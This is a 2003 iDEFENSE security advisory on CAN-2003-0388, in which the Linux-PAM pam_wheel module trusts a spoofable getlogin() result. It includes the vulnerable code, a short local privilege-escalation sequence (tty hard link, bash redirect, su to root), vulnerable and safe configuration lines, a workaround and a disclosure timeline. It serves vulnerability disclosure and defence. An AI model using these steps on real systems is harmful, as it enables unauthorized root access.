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iDEFENSE Security Advisory 06.16.03:
http://www.idefense.com/advisory/06.16.03.txt
Linux-PAM getlogin() Spoofing Vulnerability
June 16, 2003

I. BACKGROUND

The Pluggable Authentication Module (PAM) is a flexible mechanism for
authenticating users. More information is available at
http://www.kernel.org/pub/linux/libs/pam/ .

II. DESCRIPTION

The pam_wheel module of Andrew G. Morgan's Linux-PAM uses getlogin() in
an insecure manner, thereby allowing attackers to bypass certain
restrictions. The pam_wheel module is often used with su(1) to allow
users belonging to a trusted group to utilize the command without
supplying a password. The module utilizes the getlogin() function to
determine the name of the currently logged in user. This name is then
compared against a list of members of a trusted group as specified in
the configuration file. The following is a snippet of the offending
section of code: 

fromsu = getlogin();
if (fromsu) {
    tpwd = getpwnam(fromsu);
}

...
...
...

/*
* test if the user is a member of the group, or if the
* user has the "wheel" (sic) group as its primary group.
*/
if (is_on_list(grp->gr_mem, fromsu) || (tpwd->pw_gid == grp->gr_gid)) {
    if (ctrl & PAM_DENY_ARG) {
        retval = PAM_PERM_DENIED;
    } else if (ctrl & PAM_TRUST_ARG) {
        retval = PAM_SUCCESS;        /* this can be a sufficient check
*/
    } else {
        retval = PAM_IGNORE;
    }
} else { 

If the "trust" option is enabled in the pam_wheel configuration file
and the "use_uid" option is disabled, any local user may spoof the
username returned by getlogin() and gain access to a super-user account
without supplying a password. The following is a sample exploitation
scenario:

$ w
10:32am up 3:26, 2 users, load average: 0.01, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 7:13am 3:03m 0.30s 0.22s -bash 
farmer pts/0 172.16.60.5 10:32am 0.00s 0.00s ? -

$ logname
farmer

$ ln /dev/tty tty1
$ bash < tty1

$ logname
root

$ su -
# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 

III. ANALYSIS

If the appropriate configuration options are enabled, and a member of
the wheel group is currently logged in, any local user can spoof log
entries, or, in the worst case scenario, obtain super-user privileges
depending on the PAM configuration settings.

IV. DETECTION

Linux-PAM 0.77 and previous versions are vulnerable, however, the
necessary configuration for exploitability must also exist. More
specifically, a trust of the wheel group must exist in an application
such as su(1), and the use_uid option must not be enabled. This is
usually not the default situation with most Linux installations.

The following is a sample default nonvulnerable entry from
/etc/pam.d/su in Redhat 7.3:

# Uncomment the following line to implicitly trust users in the "wheel"
group.
#auth sufficient /lib/security/pam_wheel.so trust use_uid

The following is a sample entry in /etc/pam.d/su that would be
vulnerable to the described attack:

# Uncomment the following line to implicitly trust users in the "wheel"
group.
auth sufficient /lib/security/pam_wheel.so trust

V. WORKAORUND

When utilizing the pam_wheel module, enable the use_uid option. Doing
so should prevent the login name spoofing from circumventing PAM
restrictions.

VI. VENDOR FIX

Andrew Morgan does not plan to release a new version of Linux-PAM,
however, Linux-PAM 0.78, which does fix this flaw, is obtainable via
the following CVS:

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pam/Linux-PAM/

Linux distributors will be releasing their own updates as appropriate.

VII. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
has assigned the identification number CAN-2003-0388 to this issue.

VIII. DISCLOSURE TIMELINE

21 OCT 2002      Issue disclosed to iDEFENSE
22 NOV 2002      Andrew Morgan (Linux-PAM maintainer) notified
23 NOV 2002      Response received from Andrew Morgan
25 NOV 2002      iDEFENSE clients notified
14 DEC 2002      Patch provided to iDEFENSE for validation
14 JAN 2003      Issue fixed in CVS
09 JUN 2003      Andrew Morgan contacted re: availability of next 
                 stable release
09 JUN 2003      vendor-sec informed of CVS updates
16 JUN 2003      Coordinated public disclosure

X. CREDIT

Karol Wiesek (appelast.pl) is credited with discovering this
vulnerability.


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